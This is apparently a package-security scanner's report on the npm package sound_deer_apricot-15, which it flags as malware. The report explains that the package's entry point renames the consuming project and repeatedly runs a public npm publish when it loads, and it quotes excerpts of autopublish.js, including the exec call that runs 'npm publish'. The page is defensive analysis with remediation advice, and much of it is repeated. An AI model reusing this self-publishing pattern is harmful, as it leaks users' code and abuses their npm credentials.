registry / Malware / sound_deer_apricot-15

sound_deer_apricot-15

Ini adalah script Node.js yang bisa auto ganti nama package dalam file `package.json` dan `package-lock.json`, serta bisa publish package ke npmjs.com dengan`npm publish`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil

This report shows the evidence for sound_deer_apricot-15@2.1.4, the only known version.

AI Security Review

scanned 12h ago · by lpm-firewall-ai

The declared main entry point starts a repeated public publishing loop as soon as the module loads, changing the consuming project's package metadata along the way. This can publish a user's project without an explicit publish request, so the package is malicious.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Module load through the declared main entry point, autopublish.js.

Impact

A consumer's project may be renamed and published publicly using their npm credentials without an explicit publish request.

Mechanism

The entry point rewrites package.json and package-lock.json, invokes `npm publish --access public`, then schedules another attempt after a delay.

Attack narrative

Loading the declared entry point immediately changes the current project's package name, updates its lockfile, and runs a public npm publish. It then schedules repeated publish attempts, potentially exposing project contents and publishing under randomly generated names using the consumer's npm credentials.

AI rationale

Evidence

autopublish.jspackage.jsonpackage-lock.json

Network endpoints1

npmjs.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package declares autopublish.js as its main entry point; its description says it renames packages and publishes them to npmjs.com.
autopublish.js changes the current package name to a random name and writes the change to package.json.
It also changes package-lock.json and runs `npm publish --access public`.
The module starts publishing at load time and schedules repeated publish attempts after each run.

Evidence against

Behavioral surface

Source

ChildProcessFilesystemShell

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 14.2 KB of source

Source & flagged code

7 flagged

autopublish.jsView file

1const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ... L28: const animationInterval = setInterval(() => { L29: process.stdout.write('\r' + animation[currentFrame]); L30: currentFrame = (currentFrame + 1) % animation.length; ... L32: L33: let packageJson = fs.readFileSync('package.json'); L34: let packageData = JSON.parse(packageJson); L35: let randomString = generateRandomString(10); ... L45: L46: exec('npm publish --access public', (error, stdout, stderr) => {

Critical

Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

autopublish.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> autopublish.js L1: const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ... L28: const animationInterval = setInterval(() => { L29: process.stdout.write('\r' + animation[currentFrame]); L30: currentFrame = (currentFrame + 1) % animation.length; ... L32: L33: let packageJson = fs.readFileSync('package.json'); L34: let packageData = JSON.parse(packageJson); L35: let randomString = generateRandomString(10); ... L45: L46: exec('npm publish --access public', (error, stdout, stderr) => {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

autopublish.jsView on unpkg · L1

Findings

2 Critical6 High1 Medium3 Low

CriticalNpm Publish Wormautopublish.js

CriticalTrigger Reachable Dangerous Capabilityautopublish.js

HighChild Processautopublish.js

HighShell

HighKnown Malware Source Fingerprint Signatureautopublish3.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceautopublish.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to sound_deer_apricot-15@2.1.4.

The versions list below shows the verdict for each recorded version.

Avoid installing sound_deer_apricot-15@2.1.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-04 09:52:14.404Z (UTC).

Source advisory published: 2026-11-02 09:44:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

2.1.4latestshownMaliciousMalwareBlockPublishedMay 21, 2024, 4:55 PM

registry / Malware / sound_deer_apricot-15

sound_deer_apricot-15

This report shows the evidence for sound_deer_apricot-15@2.1.4, the only known version.

AI Security Review

scanned 12h ago · by lpm-firewall-ai

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Module load through the declared main entry point, autopublish.js.

Impact

A consumer's project may be renamed and published publicly using their npm credentials without an explicit publish request.

Mechanism

The entry point rewrites package.json and package-lock.json, invokes `npm publish --access public`, then schedules another attempt after a delay.

Attack narrative

AI rationale

Evidence

autopublish.jspackage.jsonpackage-lock.json

Network endpoints1

npmjs.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package declares autopublish.js as its main entry point; its description says it renames packages and publishes them to npmjs.com.
autopublish.js changes the current package name to a random name and writes the change to package.json.
It also changes package-lock.json and runs `npm publish --access public`.
The module starts publishing at load time and schedules repeated publish attempts after each run.

Evidence against

Behavioral surface

Source

ChildProcessFilesystemShell

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 14.2 KB of source

Source & flagged code

7 flagged

autopublish.jsView file

Critical

Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

autopublish.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

autopublish.jsView on unpkg · L1

Findings

2 Critical6 High1 Medium3 Low

CriticalNpm Publish Wormautopublish.js

CriticalTrigger Reachable Dangerous Capabilityautopublish.js

HighChild Processautopublish.js

HighShell

HighKnown Malware Source Fingerprint Signatureautopublish3.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceautopublish.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to sound_deer_apricot-15@2.1.4.

The versions list below shows the verdict for each recorded version.

Avoid installing sound_deer_apricot-15@2.1.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-04 09:52:14.404Z (UTC).

Source advisory published: 2026-11-02 09:44:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

2.1.4latestshownMaliciousMalwareBlockPublishedMay 21, 2024, 4:55 PM

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages